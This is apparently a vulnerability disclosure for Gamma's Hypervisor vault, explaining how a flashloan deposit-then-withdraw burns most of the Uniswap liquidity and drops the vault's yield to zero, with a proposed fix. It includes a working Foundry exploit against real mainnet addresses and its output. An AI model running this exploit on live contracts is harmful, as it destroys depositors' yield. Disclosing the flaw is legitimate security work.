# Majority of liquidity can be burnt from Uniswap pool back to Hypervisor vault by flashloan. APY for Hypervisor vault will become zero.

## Summary
It affects any pools where `directDeposit` is set to `false`.

If `directDeposit` is false, `Hypervisor.deposit()` will not add liquidity immediately, but `Hypervisor.withdraw()` will remove liquidity immediately pro-rata basis for shareholders.

https://github.com/GammaStrategies/hypervisor/blob/master/contracts/Hypervisor.sol#L140-L160
```solidity
    if (total != 0) {
        uint256 pool0PricedInToken1 = pool0.mul(price).div(PRECISION);
        shares = shares.mul(total).div(pool0PricedInToken1.add(pool1));
        if (directDeposit) {
        uint128 liquidity = _liquidityForAmounts(
            baseLower,
            baseUpper, 
            token0.balanceOf(address(this)),
            token1.balanceOf(address(this))
        );
        _mintLiquidity(baseLower, baseUpper, liquidity, address(this), inMin[0], inMin[1]);
        liquidity = _liquidityForAmounts(
            limitLower,
            limitUpper, 
            token0.balanceOf(address(this)),
            token1.balanceOf(address(this))
        );
        _mintLiquidity(limitLower, limitUpper, liquidity, address(this), inMin[2], inMin[3]);
        }
    }
    _mint(to, shares);

```

https://github.com/GammaStrategies/hypervisor/blob/master/contracts/Hypervisor.sol#L230-L247
```solidity
        (uint256 base0, uint256 base1) = _burnLiquidity(
            baseLower,
            baseUpper,
            _liquidityForShares(baseLower, baseUpper, shares),
            to,
            false,
            minAmounts[0],
            minAmounts[1]
        );
        (uint256 limit0, uint256 limit1) = _burnLiquidity(
            limitLower,
            limitUpper,
            _liquidityForShares(limitLower, limitUpper, shares),
            to,
            false,
            minAmounts[2],
            minAmounts[3]
        );

```

So, immediate withdrawal after deposit will cause Uniswap pool to be burnt back to vault.

Here's USDC-WETH pool(https://etherscan.io/address/0xA9782a2C9C3Fb83937f14cDfAc9a6d23946C9255) where `directDeposit` is set to `false`.

Current `maxDeposit` cap for vault is 
- 200k USDC
- 110 WETH

Current `Uniswap pool liquidity` is 
- 73k USDC
- 41 WETH

A hacker can burn up to around 73%(`200 / (73 + 200) = 0.73`) of liquidity at once by depositing and withdrawing immediately.

It can be repeated for any number of times to burn almost all of liquidity.

## Use of zero-fee Balancer flashloan for backrunning rebalance operation
Just after `Hypervisor.rebalance()` is called, fee amount owned by the Uniswap LP position is zero.

A hacker you can withdraw exactly same amount deposited immediately by backrunning `Hypervisor.rebalance()`.

Zero-fee Balancer flashloan can be performed repeatedly to burn majority of Uniswap pool.

## Impact
APR of Hypervisor vault will be zero with minimal cost.

Permeanent loss of yield.

## Recommendation

`Hypervisor.withdraw()` should return idle funds sitting at Hypervisor vault first.

If that's not enough, then it should burn liquidity from Uniswap pool.

## Proof of Concept

```solidity
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/interfaces/interface.sol";
import "../src/interfaces/IHypervisor.sol";
import "../src/interfaces/IUniProxy.sol";

CheatCodes constant     cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IBalancerVault constant balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IUniProxy constant      proxy = IUniProxy(0x83dE646A7125aC04950FEA7e322481D4BE66c71d);
IHypervisor constant    vault = IHypervisor(0xA9782a2C9C3Fb83937f14cDfAc9a6d23946C9255);

contract HyperLauncherTest is Test {
    function setUp() public {
        cheats.createSelectFork("mainnet", 17877877);

        cheats.label(address(proxy),    "Proxy");
        cheats.label(address(balancer), "Balancer");
        cheats.label(address(vault), "Vault");

        uint256[4] memory minIn;
        uint256[4] memory outMin;

        // backrunning of rebalance
        cheats.startPrank(vault.owner());
        vault.rebalance(
            vault.baseLower(),
            vault.baseUpper(),
            vault.limitLower(),
            vault.limitUpper(),
            vault.owner(),
            minIn, outMin);
        cheats.stopPrank();
    }

    function testExploit() public {
        address[] memory tokens = new address[](2);
        uint256[] memory amounts = new uint256[](2);

        tokens[0] = vault.token0();
        tokens[1] = vault.token1();

        // for (uint256 i = 0; i < 4; i++)
        {
            (uint256 total0, uint256 total1) = vault.getTotalAmounts();
            (, , , , , uint256 deposit0Max, uint256 deposit1Max, ,) = proxy.positions(address(vault));

            if (deposit0Max * total1 > deposit1Max * total0)
            {
                amounts[0] = deposit1Max * total0 / total1;
                amounts[1] = deposit1Max;
            }
            else
            {
                amounts[0] = deposit0Max;
                amounts[1] = deposit0Max * total1 / total0;
            }

            balancer.flashLoan(address(this), tokens, amounts, bytes(""));

        }
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        require(msg.sender == address(balancer));
        uint256[4] memory   minIn;
        uint256     base0;
        uint256     base1;
        uint256     limit0;
        uint256     limit1;
        
        IERC20(tokens[0]).approve(address(vault), amounts[0]);
        IERC20(tokens[1]).approve(address(vault), amounts[1]);

        (, base0, base1)= vault.getBasePosition();
        (, limit0, limit1)= vault.getLimitPosition();

        emit log_named_decimal_uint("USDC liquidity before - ", base0 + limit0, 6);
        emit log_named_decimal_uint("WETH liquidity before - ", base1 + limit1, 18);
        emit log_named_decimal_uint("USDC flashloan - ", amounts[0], 6);
        emit log_named_decimal_uint("WETH flashloan - ", amounts[1], 18);

        uint256 shares = proxy.deposit(amounts[0], amounts[1], address(this), address(vault), minIn);
        vault.withdraw(shares, address(this), address(this), minIn);

        (, base0, base1)= vault.getBasePosition();
        (, limit0, limit1)= vault.getLimitPosition();

        emit log_named_decimal_uint("USDC liquidity after - ", base0 + limit0, 6);
        emit log_named_decimal_uint("WETH liquidity after - ", base1 + limit1, 18);

        IERC20(tokens[0]).transfer(address(balancer), amounts[0]);
        IERC20(tokens[1]).transfer(address(balancer), amounts[1]);
    }
}

```

Output
```
  USDC liquidity before - : 73261.863923
  WETH liquidity before - : 41.136117792886310572
  USDC flashloan - : 197372.597954
  WETH flashloan - : 110.823585475460887590
  USDC liquidity after - : 19832.288424
  WETH liquidity after - : 11.135716579314727895
```
